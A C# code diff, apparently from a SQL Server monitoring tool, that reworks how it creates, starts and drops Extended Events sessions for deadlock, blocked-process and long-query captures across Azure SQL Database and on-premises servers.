+                : await runner.GetAzureDatabaseListAsync(server, databaseScope: null, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -135,116 +148,44 @@ would blind the other two. */
                 continue;
             }
 
+            SqlConnection? connection = null;
+            IAlwaysOnXeDatabase? database = null;
             try
             {
-                using var connection = await runner.OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
-
-                await EnsureOneDatabaseScopedAsync(
-                    connection, server, databaseName, "deadlock", DeadlocksCollector.XeSessionName,
-                    c => EnsureDeadlockAzureAsync(c, server, logger, cancellationToken), logger, cancellationToken);
+                if (runner.AlwaysOnXeDatabaseForTests is { } open)
+                {
+                    database = await open(server, databaseName, cancellationToken);
+                }
+                else if (runner.AlwaysOnXeConnectionForTests is { } openConnection)
+                {
+                    database = DarlingAlwaysOnXeSessions.WithReadOnlyIntent(
+                        runner, server, databaseName,
+                        await openConnection(server, databaseName, LongQueryTraceConnectionString(server, databaseName), cancellationToken));
+                }
+                else
+                {
+                    connection = await runner.OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
+                    database = DarlingAlwaysOnXeSessions.WithReadOnlyIntent(
+                        runner, server, databaseName, new DarlingAlwaysOnXeSessions.Database(connection));
+                }
 
-                await EnsureOneDatabaseScopedAsync(
-                    connection, server, databaseName, "blocked process", BlockedProcessReportCollector.XeSessionName,
-                    c => EnsureBlockedProcessAzureAsync(c, server, logger, cancellationToken), logger, cancellationToken);
+                /* #4961: the shared session when it is usable, this install's own when it is not, and back again. */
+                await DarlingAlwaysOnXeSessions.EnsureAsync(
+                    database, runner, server, databaseName, AlwaysOnXeSessionKind.Deadlock, "deadlock", logger, cancellationToken);
+                await DarlingAlwaysOnXeSessions.EnsureAsync(
+                    database, runner, server, databaseName, AlwaysOnXeSessionKind.BlockedProcess, "blocked process", logger, cancellationToken);
             }
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
                 logger?.LogWarning("[{Server}] [{Database}] Failed to open a connection for XE session ensure: {Message}",
                     server.Config.DisplayName, databaseName, ex.Message);
             }
-        }
-    }
-
-    /// <summary>
-    /// One capture's database-scoped ensure, with the #1251 benign path grown a read-back check
-    /// (#1535, verbatim semantics from Lite): a benign "already exists"/"already started" proves
-    /// the session is there, but NOT that this principal can see it — the ring-buffer reader joins
-    /// <c>sys.dm_xe_database_sessions</c>, and a session invisible there (created by another
-    /// principal, or present-but-stopped) reads zero rows forever while collection reports
-    /// SUCCESS. So after a benign error the session is probed in the reader's own DMV, and an
-    /// invisible one is dropped and recreated under this principal. Hard failures are warn-logged
-    /// by the caller's per-capture catch here.
-    /// </summary>
-    private static async Task EnsureOneDatabaseScopedAsync(
-        SqlConnection connection,
-        ServerRuntime server,
-        string databaseName,
-        string captureName,
-        string sessionName,
-        Func<SqlConnection, Task> ensureAsync,
-        ILogger? logger,
-        CancellationToken cancellationToken)
-    {
-        try
-        {
-            try
-            {
-                await ensureAsync(connection);
-            }
-            catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+            finally
             {
-                if (!await IsDatabaseScopedSessionVisibleAsync(connection, sessionName, cancellationToken))
-                {
-                    using (var dropCmd = new SqlCommand($"DROP EVENT SESSION [{sessionName}] ON DATABASE;", connection))
-                    {
-                        dropCmd.CommandTimeout = 60;
-                        await dropCmd.ExecuteNonQueryAsync(cancellationToken);
-                    }
-
-                    await ensureAsync(connection);
-
-                    /* Read back once: recreated under THIS principal and still invisible means the
-                       reader cannot see this database's capture at all — say so at Error rather than
-                       announcing a recreate that didn't help. Ensure runs once per connect, so there
-                       is no per-cycle churn to bound here (Lite's per-cycle driver keeps a give-up
-                       set for the same case). */
-                    if (await IsDatabaseScopedSessionVisibleAsync(connection, sessionName, cancellationToken))
-                    {
-                        logger?.LogInformation("[{Server}] [{Database}] {Capture} XE session existed but was not visible to the ring-buffer reader — dropped and recreated (#1535)",
-                            server.Config.DisplayName, databaseName, captureName);
-                    }
-                    else
-                    {
-                        logger?.LogError("[{Server}] [{Database}] {Capture} XE session is still not visible in sys.dm_xe_database_sessions after recreating it — the ring-buffer reader cannot see this database's capture",
-                            server.Config.DisplayName, databaseName, captureName);
-                    }
-                }
+                (database as IDisposable)?.Dispose();
+                connection?.Dispose();
             }
         }
-        catch (Exception ex) when (ex is not OperationCanceledException)
-        {
-            logger?.LogWarning("[{Server}] [{Database}] Failed to ensure {Capture} XE session: {Message}",
-                server.Config.DisplayName, databaseName, captureName, ex.Message);
-        }
-    }
-
-    /// <summary>
-    /// Whether the database-scoped session is visible to THIS principal in
-    /// <c>sys.dm_xe_database_sessions</c> — the reader's-eye view (false: the reader would see zero
-    /// rows regardless of captured events).
-    /// </summary>
-    private static async Task<bool> IsDatabaseScopedSessionVisibleAsync(SqlConnection connection, string sessionName, CancellationToken cancellationToken)
-    {
-        using var cmd = new SqlCommand(@"
-SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-
-SELECT /* PerformanceMonitorDarling */
-    is_visible =
-        CASE
-            WHEN EXISTS
-            (
-                SELECT
-                    1/0
-                FROM sys.dm_xe_database_sessions AS xes
-                WHERE xes.name = @session_name
-            )
-            THEN 1
-            ELSE 0
-        END;", connection);
-        cmd.CommandTimeout = 60;
-        cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
-        var result = await cmd.ExecuteScalarAsync(cancellationToken);
-        return result is int isVisible && isVisible == 1;
     }
 
     private static async Task EnsureDeadlockOnPremAsync(SqlConnection connection, ServerRuntime server, ILogger? logger, CancellationToken cancellationToken)
@@ -300,98 +241,6 @@ ADD TARGET package0.ring_buffer
         logger?.LogInformation("[{Server}] Created and started deadlock XE session", server.Config.DisplayName);
     }
 
-    private static async Task EnsureDeadlockAzureAsync(SqlConnection connection, ServerRuntime server, ILogger? logger, CancellationToken cancellationToken)
-    {
-        using (var cmd = new SqlCommand(@"
-SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-
-SELECT /* PerformanceMonitorDarling */
-    has_correct_event = CASE
-        WHEN EXISTS
-        (
-            SELECT 1/0
-            FROM sys.database_event_session_events AS dese
-            JOIN sys.database_event_sessions AS des
-              ON des.event_session_id = dese.event_session_id
-            WHERE des.name = @session_name
-            AND   dese.name = N'database_xml_deadlock_report'
-        )
-        THEN 1
-        WHEN EXISTS
-        (
-            SELECT 1/0
-            FROM sys.database_event_sessions AS des
-            WHERE des.name = @session_name
-        )
-        THEN 0
-        ELSE NULL
-    END;", connection))
-        {
-            cmd.CommandTimeout = 60;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = DeadlocksCollector.XeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-
-            if (result is int hasCorrectEvent)
-            {
-                if (hasCorrectEvent == 0)
-                {
-                    /* Wrong event — drop and recreate (mirrors Lite). */
-                    try
-                    {
-                        using var dropCmd = new SqlCommand(
-                            $"DROP EVENT SESSION [{DeadlocksCollector.XeSessionName}] ON DATABASE;", connection);
-                        dropCmd.CommandTimeout = 60;
-                        await dropCmd.ExecuteNonQueryAsync(cancellationToken);
-                    }
-                    catch (SqlException ex)
-                    {
-                        logger?.LogError("[{Server}] Failed to drop old deadlock XE session: {Message}", server.Config.DisplayName, ex.Message);
-                    }
-                }
-                else
-                {
-                    using var startCmd = new SqlCommand($@"
-IF NOT EXISTS
-(
-    SELECT
-        1/0
-    FROM sys.dm_xe_database_sessions AS xes
-    WHERE xes.name = N'{DeadlocksCollector.XeSessionName}'
-)
-BEGIN
-    ALTER EVENT SESSION [{DeadlocksCollector.XeSessionName}] ON DATABASE STATE = START;
-END;", connection);
-                    startCmd.CommandTimeout = 60;
-                    await startCmd.ExecuteNonQueryAsync(cancellationToken);
-                    return;
-                }
-            }
-        }
-
-        using (var cmd = new SqlCommand($@"
-CREATE EVENT SESSION [{DeadlocksCollector.XeSessionName}]
-ON DATABASE
-ADD EVENT sqlserver.database_xml_deadlock_report
-ADD TARGET package0.ring_buffer
-(
-    SET max_memory = 4096
-)
-WITH
-(
-    MAX_DISPATCH_LATENCY = 5 SECONDS,
-    EVENT_RETENTION_MODE = ALLOW_SINGLE_EVENT_LOSS,
-    STARTUP_STATE = ON
-);
-
-ALTER EVENT SESSION [{DeadlocksCollector.XeSessionName}] ON DATABASE STATE = START;", connection))
-        {
-            cmd.CommandTimeout = 60;
-            await cmd.ExecuteNonQueryAsync(cancellationToken);
-        }
-
-        logger?.LogInformation("[{Server}] Created and started deadlock XE session (database-scoped)", server.Config.DisplayName);
-    }
-
     private static async Task EnsureBlockedProcessOnPremAsync(SqlConnection connection, ServerRuntime server, ILogger? logger, CancellationToken cancellationToken)
     {
         /* Blocked process threshold bootstrap — sp_configure is unavailable on AWS RDS
@@ -486,62 +335,6 @@ ADD TARGET package0.ring_buffer
         logger?.LogInformation("[{Server}] Created and started blocked process XE session", server.Config.DisplayName);
     }
 
-    private static async Task EnsureBlockedProcessAzureAsync(SqlConnection connection, ServerRuntime server, ILogger? logger, CancellationToken cancellationToken)
-    {
-        using (var cmd = new SqlCommand(@"
-SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-
-SELECT /* PerformanceMonitorDarling */
-    session_state = des.name
-FROM sys.database_event_sessions AS des
-WHERE des.name = @session_name;", connection))
-        {
-            cmd.CommandTimeout = 60;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = BlockedProcessReportCollector.XeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-
-            if (result != null)
-            {
-                using var startCmd = new SqlCommand($@"
-IF NOT EXISTS
-(
-    SELECT
-        1/0
-    FROM sys.dm_xe_database_sessions AS xes
-    WHERE xes.name = N'{BlockedProcessReportCollector.XeSessionName}'
-)
-BEGIN
-    ALTER EVENT SESSION [{BlockedProcessReportCollector.XeSessionName}] ON DATABASE STATE = START;
-END;", connection);
-                startCmd.CommandTimeout = 60;
-                await startCmd.ExecuteNonQueryAsync(cancellationToken);
-                return;
-            }
-        }
-
-        using (var cmd = new SqlCommand($@"
-CREATE EVENT SESSION [{BlockedProcessReportCollector.XeSessionName}]
-ON DATABASE
-ADD EVENT sqlserver.blocked_process_report
-ADD TARGET package0.ring_buffer
-(
-    SET max_memory = 4096
-)
-WITH
-(
-    MAX_DISPATCH_LATENCY = 5 SECONDS,
-    STARTUP_STATE = ON
-);
-
-ALTER EVENT SESSION [{BlockedProcessReportCollector.XeSessionName}] ON DATABASE STATE = START;", connection))
-        {
-            cmd.CommandTimeout = 60;
-            await cmd.ExecuteNonQueryAsync(cancellationToken);
-        }
-
-        logger?.LogInformation("[{Server}] Created and started blocked process XE session (database-scoped)", server.Config.DisplayName);
-    }
-
     /// <summary>
     /// Reconciles the OPT-IN long-query completion XE session (#1496) to the collector's enabled flag —
     /// Erik's dedicated switch, default OFF. ENABLED: create/start the session (server-scoped on
@@ -565,11 +358,32 @@ ADD TARGET package0.ring_buffer
     /// server-scoped arm has always thrown its one CREATE failure and as the runners' per-database loops
     /// throw when all databases fail (#2623), so the worker does not latch and the run is classified
     /// <c>SESSION_MISSING</c>; some databases refused returns the #2623 partial note naming them, which the
-    /// worker merges onto the run's row. Null is the clean reconcile, and the disabled (DROP) arm's answer
-    /// either way — a drop failure is not a capture outage, the collector is not dispatched while disabled,
-    /// and the Lite sibling's drop swallows per database too.</para>
+    /// worker merges onto the run's row. Null is the clean reconcile, and the disabled (DROP) arm's answer.
+    /// A drop failure is not a capture outage, so it is not scored; on Azure SQL DB it throws
+    /// <see cref="LongQueryTraceDropException"/> after every database was tried, and on every other engine the drop of the
+    /// server's session throws it too, and the worker retries it with a cap, as Lite does.</para>
+    /// <para><paramref name="pass"/>: which part runs (<see cref="LongQueryTracePass"/>). It changes only the Azure
+    /// SQL DB arm, because the server-scoped arm has no drop while enabled.</para>
+    /// <para><paramref name="createFailureWarned"/>: a create that already logged its failure at Warning (#4964). The
+    /// Azure arm then logs the create side's failures at Debug, so a create that fails on every sweep warns once.</para>
+    /// <para><paramref name="instanceGuard"/>: for a server's own session (every engine but Azure SQL Database), says whether
+    /// another registration of this install keeps the trace on the same instance (#4961). It is called only when the trace is
+    /// off and the drop is about to run, and a positive match leaves the session in place. Null means no registration keeps it.</para>
+    /// <para><paramref name="outcome"/>: what the reconcile leaves for the worker beyond the note
+    /// (<see cref="LongQueryTraceReconcileOutcome"/>, #4961). Null when the caller reads none.</para>
     /// </summary>
-    public static async Task<string?> ReconcileLongQueryCompletionsAsync(ServerRuntime server, DarlingCollectorRunner runner, bool enabled, ILogger? logger, CancellationToken cancellationToken)
+    public static async Task<string?> ReconcileLongQueryCompletionsAsync(
+        ServerRuntime server,
+        DarlingCollectorRunner runner,
+        bool enabled,
+        LongQueryTracePass pass,
+        IReadOnlyList<LongQueryTraceRegistration> registrations,
+        IReadOnlyList<string> serverSeparatelyMonitored,
+        bool createFailureWarned,
+        ILogger? logger,
+        CancellationToken cancellationToken,
+        Func<Task<LongQueryTraceInstanceGuard>>? instanceGuard = null,
+        LongQueryTraceReconcileOutcome? outcome = null)
     {
         /* Belt to the worker's braces: the caller gates on engine (a PostgreSQL target has no XE to
            reconcile), but this method constructs a SqlConnection from the engine-ambiguous connection
@@ -580,129 +394,724 @@ ADD TARGET package0.ring_buffer
             return null;
         }
 
+        /* #4961: no install id, no session. Nothing is created and the session is never named from the legacy constant: an
+           enabled trace throws, so the worker records the fault and the run reads SESSION_MISSING; a disabled one has no
+           session of this install's to drop. */
+        var sessionName = runner.LongQuerySessionName();
+        if (sessionName is null)
+        {
+            if (!enabled)
+            {
+                return null;
+            }
+
+            throw new InvalidOperationException("The long-query trace was not created: this install has no id to name its Extended Events session.");
+        }
+
         if (server.Target.IsAzureSqlDb)
         {
-            return await ReconcileLongQueryCompletionsAzureAsync(server, runner, enabled, logger, cancellationToken);
+            return await ReconcileLongQueryCompletionsAzureAsync(server, runner, sessionName, enabled, pass, registrations, serverSeparatelyMonitored, createFailureWarned, logger, outcome, cancellationToken);
         }
 
-        using var connection = new SqlConnection(server.ConnectionString);
-        await connection.OpenAsync(cancellationToken);
+        /* #4961: the session older versions shared between installs is dropped once, whether the trace is on or off, and the
+           drop is recorded. Its failure waits until the per-install work has run, then takes the retry cap. */
+        var legacy = runner.LegacyLongQuery;
+        var legacyPass = await legacy.BeginPassAsync(server, pass, logger, cancellationToken);
+        Task DropLegacyOnServer(string legacyName, CancellationToken token) => DropSessionOnServerAsync(server, runner, legacyName, token);
+
+        if (!enabled)
+        {
+            await legacyPass.DropAsync(string.Empty, DropLegacyOnServer, cancellationToken);
+
+            /* #4961: two registrations of this install can reach one instance under different host names, and one drop
+               stops the trace the other keeps. A positive match leaves the session, and the reconcile counts as done, so
+               no later sweep connects for it: the registration that keeps it drops it when it turns its own trace off. A
+               name that is not known matches nothing, and the drop runs as it always did. The guard is resolved here, not
+               before, so a server that never reaches this drop reads nothing. The legacy session was dropped above either way. */
+            var keptByAnother = instanceGuard is not null && (await instanceGuard()).Kept;
+            if (keptByAnother)
+            {
+                logger?.LogInformation(
+                    "[{Server}] Long-query completion XE session left in place: another registration of this install keeps it on the same instance",
+                    server.Config.DisplayName);
+            }
+            else
+            {
+                await DropLongQueryCompletionsOnServerAsync(server, runner, sessionName, cancellationToken);
+            }
+
+            if (legacyPass.ToException(Array.Empty<string>(), createNote: null, onServer: true) is { } legacyDropFailure)
+            {
+                throw legacyDropFailure;
+            }
 
-        if (enabled)
+            /* A removal logs its own line. */
+            if (!keptByAnother && pass != LongQueryTracePass.Removal)
+            {
+                logger?.LogInformation("[{Server}] Long-query completion XE session reconciled OFF (collector disabled)", server.Config.DisplayName);
+            }
+
+            return null;
+        }
+
+        await legacyPass.DropAsync(string.Empty, DropLegacyOnServer, cancellationToken);
+
+        /* A test replaces the server-scoped create, called with no database name. Null in production. */
+        if (runner.LongQueryTraceDatabaseOverrideForTests is { } createOnServer)
+        {
+            await createOnServer(server, string.Empty, true, sessionName, cancellationToken);
+            if (runner.LegacyLongQueryPresentForTests is { } presentOnServer && await presentOnServer(server, string.Empty, cancellationToken))
+            {
+                legacy.NoteFound(server, string.Empty, logger);
+            }
+        }
+        else if (runner.LongQueryTraceStepOverrideForTests is { } stepOnServer)
         {
-            await EnsureLongQueryCompletionsOnPremAsync(connection, server, logger, cancellationToken);
+            /* Below it, a test replaces the open and the work, and sees the registration's own connection string (#4961). */
+            await stepOnServer(server, string.Empty, server.ConnectionString, LongQueryTraceStep.CreateAndStart, sessionName, cancellationToken);
         }
         else
         {
-            await DropLongQueryCompletionsAsync(connection, databaseScoped: false, cancellationToken);
-            logger?.LogInformation("[{Server}] Long-query completion XE session reconciled OFF (collector disabled)", server.Config.DisplayName);
+            using var connection = new SqlConnection(server.ConnectionString);
+            await connection.OpenAsync(cancellationToken);
+            await EnsureLongQueryCompletionsOnPremAsync(connection, server, sessionName, legacy, logger, cancellationToken);
+        }
+
+        /* One server-scoped session: it either exists now or the CREATE above threw. There is no partial. A failed legacy
+           drop is the one thing left to report, after the create it did not stop. */
+        if (legacyPass.ToException(Array.Empty<string>(), createNote: null, onServer: true) is { } legacyCreateFailure)
+        {
+            throw legacyCreateFailure;
         }
 
-        /* One server-scoped session: it either exists now or the CREATE above threw. There is no partial. */
         return null;
     }
 
-    private static async Task EnsureLongQueryCompletionsOnPremAsync(SqlConnection connection, ServerRuntime server, ILogger? logger, CancellationToken cancellationToken)
+    /// <summary>
+    /// The connection string for one database on an Azure SQL Database server: the registration's own, so a registration
+    /// with read-only intent opens a read-only connection (#4961).
+    /// </summary>
+    internal static string LongQueryTraceConnectionString(ServerRuntime server, string databaseName) =>
+        SqlServerTargetProvider.Instance.WithDatabase(server.ConnectionString, databaseName);
+
+    /// <summary>Whether the connection string asks for read-only intent (#4961).</summary>
+    internal static bool HasReadOnlyIntent(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).ApplicationIntent == ApplicationIntent.ReadOnly;
+
+    /// <summary>
+    /// The registration's own connection string with the read-only intent forced off (#4961): the connection a session's
+    /// definition is created and dropped over. A session cannot be created or dropped over a read-only connection, and a
+    /// definition made on the primary replicates to the replicas.
+    /// </summary>
+    internal static string WithoutReadOnlyIntent(string connectionString)
     {
-        using (var cmd = new SqlCommand(@"
-SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+        var builder = new SqlConnectionStringBuilder(connectionString);
+        builder.ApplicationIntent = ApplicationIntent.ReadWrite;
+        return builder.ConnectionString;
+    }
 
-SELECT /* PerformanceMonitorDarling */
-    is_running = CASE WHEN dxs.name IS NOT NULL THEN 1 ELSE 0 END
-FROM sys.server_event_sessions AS ses
-LEFT JOIN sys.dm_xe_sessions AS dxs
-  ON dxs.name = ses.name
-WHERE ses.name = @session_name;", connection))
+    /// <summary>
+    /// The steps one Azure SQL Database database's drop takes for a registration, in order, with the connection string each
+    /// one opens (#4961). A session that runs on a read-only replica is stopped over a connection to that replica, and only
+    /// then dropped over a connection to the primary: so a registration with read-only intent stops it over its own
+    /// connection and drops it over one without the intent, and every other registration drops it once over its own. Pure,
+    /// so the production drop and the test seam read the same plan.
+    /// </summary>
+    internal static IReadOnlyList<(LongQueryTraceStep Step, string ConnectionString)> LongQueryTraceDropStepsFor(string ownConnectionString)
+    {
+        if (!HasReadOnlyIntent(ownConnectionString))
         {
-            cmd.CommandTimeout = 60;
-            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = LongQueryCompletionsCollector.XeSessionName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
+            return new[] { (LongQueryTraceStep.Drop, ownConnectionString) };
+        }
 
-            if (result != null)
+        return new[]
+        {
+            (LongQueryTraceStep.Stop, ownConnectionString),
+            (LongQueryTraceStep.Drop, WithoutReadOnlyIntent(ownConnectionString)),
+        };
+    }
+
+    /// <summary>
+    /// Whether a failed create is a read-only database's refusal (error 3906): the error itself, or the one an exception
+    /// wraps (#4961).
+    /// </summary>
+    internal static bool IsReadOnlyDatabaseRefusal(Exception? ex) =>
+        LongQueryTraceDatabases.IsReadOnlyDatabaseRefusal(ErrorNumbersOf(ex));
+
+    /// <summary>
+    /// The numbers of the SQL errors a failure carries: its own and those of the exceptions it wraps. The shared project has
+    /// no SqlClient, so each app reads them off its own exception (#4961).
+    /// </summary>
+    internal static List<int> ErrorNumbersOf(Exception? ex)
+    {
+        var numbers = new List<int>();
+        for (var current = ex; current is not null; current = current.InnerException)
+        {
+            if (current is SqlException sql)
             {
-                if (result is int isRunning && isRunning == 0)
-                {
-                    using var startCmd = new SqlCommand(LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: false), connection);
-                    startCmd.CommandTimeout = 60;
-                    await startCmd.ExecuteNonQueryAsync(cancellationToken);
-                    logger?.LogInformation("[{Server}] Started long-query completion XE session", server.Config.DisplayName);
-                }
-                return;
+                numbers.AddRange(sql.Errors.Cast<SqlError>().Select(e => e.Number));
             }
         }
 
-        using var createCmd = new SqlCommand(
-            LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: false, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds)
-            + "\n\n" + LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: false), connection);
-        createCmd.CommandTimeout = 60;
-        await createCmd.ExecuteNonQueryAsync(cancellationToken);
-        logger?.LogInformation("[{Server}] Created and started long-query completion XE session", server.Config.DisplayName);
+        return numbers;
     }
 
     /// <summary>
-    /// The Azure SQL DB arm: one database-scoped session per monitored database. Returns the #2623 partial
-    /// note when the ENABLE was refused in some databases, throws the first failure when it was refused in
-    /// all of them, and returns null otherwise — see <see cref="ReconcileLongQueryCompletionsAsync"/> for
-    /// why the middle state exists only here and what each answer makes the worker do (#3754).
+    /// Whether a failed start is the replica's answer for a definition it does not show (error 15151): the error itself, or
+    /// the one an exception wraps (#4961).
+    /// </summary>
+    internal static bool IsEventSessionNotVisible(Exception? ex) =>
+        LongQueryTraceDatabases.IsEventSessionNotVisible(ErrorNumbersOf(ex));
+
+    /// <summary>
+    /// The Azure SQL Database create for a registration with read-only intent in one database (#4961). Over its own
+    /// connection, one batch reads whether the definition is visible on its replica, whether the session runs there, and the
+    /// legacy probe. The definition is created over a connection without the intent only when the replica shows none: a
+    /// session cannot be created on a read-only replica, and the definition replicates from the primary. The session is
+    /// started over the registration's own connection when it does not run there, because run state is per replica. So a
+    /// cycle where the definition exists and the session runs opens only the registration's own connection. A test replaces
+    /// each step's open and work, and what the check reads (<see cref="DarlingCollectorRunner.LongQueryTraceReplicaStateForTests"/>).
+    /// <para>The replica may not show a definition this cycle created yet. A start it then refuses with
+    /// <see cref="LongQueryTraceDatabases.EventSessionNotVisibleErrorNumber"/> is logged at Debug and records no fault: the
+    /// next sweep checks again and starts the session. Any other refusal, and the same refusal after a definition the replica
+    /// already showed, is a failure like any other.</para>
     /// </summary>
-    private static async Task<string?> ReconcileLongQueryCompletionsAzureAsync(ServerRuntime server, DarlingCollectorRunner runner, bool enabled, ILogger? logger, CancellationToken cancellationToken)
+    /// <returns>True when that start was refused and left for the next sweep.</returns>
+    private static async Task<bool> EnsureLongQueryCompletionsReadOnlyIntentAsync(
+        ServerRuntime server, DarlingCollectorRunner runner, string databaseName, string sessionName, ILogger? logger, CancellationToken cancellationToken)
     {
-        List<string> databases;
-        try
-        {
-            /* No #3477 scope, same reasoning as EnsureDatabaseScopedAsync: session lifecycle is
-               inventory-driven; the scope narrows the collector's READ loop, not where the trace
-               exists. */
-            databases = await runner.GetAzureDatabaseListAsync(server, databaseScope: null, cancellationToken);
-        }
-        catch (Exception ex) when (ex is not OperationCanceledException)
-        {
-            logger?.LogWarning("[{Server}] Failed to enumerate databases for the long-query completion XE session: {Message}", server.Config.DisplayName, ex.Message);
-            return null;
-        }
+        var own = LongQueryTraceConnectionString(server, databaseName);
+        var stepOverride = runner.LongQueryTraceStepOverrideForTests;
 
-        /* #3754: the per-database account, in the shape both runners' Azure loops keep (#2623) - attempted
-           against failed, the names, the first exception whole. Only the ENABLE arm is scored: a database
-           whose session could not be created is a database whose completions will never be captured,
-           which is the fact the collector's run record has to carry. */
-        var attempted = 0;
-        var failed = 0;
-        var failedDatabases = new List<string>();
-        Exception? firstFailure = null;
+        /* Production holds its own connection for the check and the start; a test opens none. */
+        using var ownConnection = stepOverride is null ? new SqlConnection(own) : null;
 
-        foreach (var databaseName in databases)
+        LongQueryTraceReplicaState replica;
+        if (ownConnection is null)
         {
-            cancellationToken.ThrowIfCancellationRequested();
-
-            /* Logical master can't host database-scoped event sessions. */
-            if (string.Equals(databaseName, "master", StringComparison.OrdinalIgnoreCase))
+            await stepOverride!(server, databaseName, own, LongQueryTraceStep.Check, sessionName, cancellationToken);
+            replica = runner.LongQueryTraceReplicaStateForTests?.Invoke(server, databaseName) ?? default;
+            if (runner.LegacyLongQueryPresentForTests is { } present && await present(server, databaseName, cancellationToken))
             {
-                continue;
+                runner.LegacyLongQuery.NoteFound(server, databaseName, logger);
             }
+        }
+        else
+        {
+            await ownConnection.OpenAsync(cancellationToken);
+            replica = await CheckLongQueryCompletionsReplicaAsync(ownConnection, server, databaseName, sessionName, runner.LegacyLongQuery, logger, cancellationToken);
+        }
 
-            if (enabled)
+        var created = false;
+        if (!replica.DefinitionExists)
+        {
+            var withoutIntent = WithoutReadOnlyIntent(own);
+            try
             {
-                attempted++;
+                if (ownConnection is null)
+                {
+                    await RunLongQueryTraceStepAsync(stepOverride!, server, databaseName, withoutIntent, LongQueryTraceStep.CreateDefinition, sessionName, cancellationToken);
+                    created = true;
+                }
+                else
+                {
+                    using var definition = new SqlConnection(withoutIntent);
+                    await definition.OpenAsync(cancellationToken);
+                    created = await CreateLongQueryCompletionsDefinitionAzureAsync(definition, server, databaseName, sessionName, logger, cancellationToken);
+                }
+            }
+            catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+            {
+                /* Already present per the engine: the reader tolerates it (#1251). */
+            }
+        }
+        else if (replica.Running)
+        {
+            return false;
+        }
+
+        try
+        {
+            if (ownConnection is null)
+            {
+                await RunLongQueryTraceStepAsync(stepOverride!, server, databaseName, own, LongQueryTraceStep.Start, sessionName, cancellationToken);
+            }
+            else
+            {
+                await StartLongQueryCompletionsAzureAsync(ownConnection, sessionName, cancellationToken);
+            }
+        }
+        catch (SqlException ex) when (IsBenignXeSessionAlreadyPresent(ex))
+        {
+            /* Already started per the engine: the reader tolerates it (#1251). */
+        }
+        catch (Exception ex) when (created && ex is not OperationCanceledException && IsEventSessionNotVisible(ex))
+        {
+            logger?.LogDebug("[{Server}] [{Database}] The replica does not show the long-query completion XE session's definition yet, so the start waits for the next sweep: {Message}",
+                server.Config.DisplayName, databaseName, ex.Message);
+            return true;
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// One batch over the registration's own connection: whether the session's definition is visible on its replica, whether the
+    /// session runs there, and whether an older install created the legacy session again (#4961).
+    /// </summary>
+    private static async Task<LongQueryTraceReplicaState> CheckLongQueryCompletionsReplicaAsync(
+        SqlConnection connection, ServerRuntime server, string databaseName, string sessionName, DarlingLegacyLongQuerySession legacy, ILogger? logger, CancellationToken cancellationToken)
+    {
+        var definitionExists = false;
+        var running = false;
+        var legacyPresent = false;
+
+        using (var cmd = new SqlCommand(@"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* PerformanceMonitorDarling */
+    definition_exists = CASE WHEN EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS des WHERE des.name = @session_name) THEN 1 ELSE 0 END,
+    is_running = CASE WHEN EXISTS (SELECT 1/0 FROM sys.dm_xe_database_sessions AS xes WHERE xes.name = @session_name) THEN 1 ELSE 0 END;
+
+SELECT /* PerformanceMonitorDarling */
+    legacy_present = CASE WHEN EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS les WHERE les.name = @legacy_name) THEN 1 ELSE 0 END;", connection))
+        {
+            cmd.CommandTimeout = 60;
+            cmd.Parameters.Add(new SqlParameter("@session_name", SqlDbType.NVarChar, 128) { Value = sessionName });
+            cmd.Parameters.Add(new SqlParameter("@legacy_name", SqlDbType.NVarChar, 128) { Value = DarlingLegacyLongQuerySession.SessionName });
+            using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                definitionExists = reader.GetInt32(0) == 1;
+                running = reader.GetInt32(1) == 1;
+            }
+
+            if (await reader.NextResultAsync(cancellationToken) && await reader.ReadAsync(cancellationToken))
+            {
+                legacyPresent = reader.GetInt32(0) == 1;
+            }
+        }
+
+        if (legacyPresent)
+        {
+            legacy.NoteFound(server, databaseName, logger);
+        }
+
+        return new LongQueryTraceReplicaState(definitionExists, running);
+    }
+
+    /// <summary>
+    /// A test's stand-in for one create or start statement of the Azure per-database ensure: the step handed to
+    /// <see cref="DarlingCollectorRunner.LongQueryTraceStepOverrideForTests"/> with the connection string it would open. Its
+    /// failure is marked like the statement's (<see cref="MarkLongQueryAzureFailure"/>).
+    /// </summary>
+    private static async Task RunLongQueryTraceStepAsync(
+        Func<ServerRuntime, string, string, LongQueryTraceStep, string, CancellationToken, Task> step,
+        ServerRuntime server, string databaseName, string connectionString, LongQueryTraceStep kind, string sessionName, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await step(server, databaseName, connectionString, kind, sessionName, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            MarkLongQueryAzureFailure(ex);
+            throw;
+        }
+    }
+
+    /// <summary>
+    /// Creates the session's definition when the connection shows none, and does not start it. Returns true when it created
+    /// one, false when the definition was already there.
+    /// </summary>
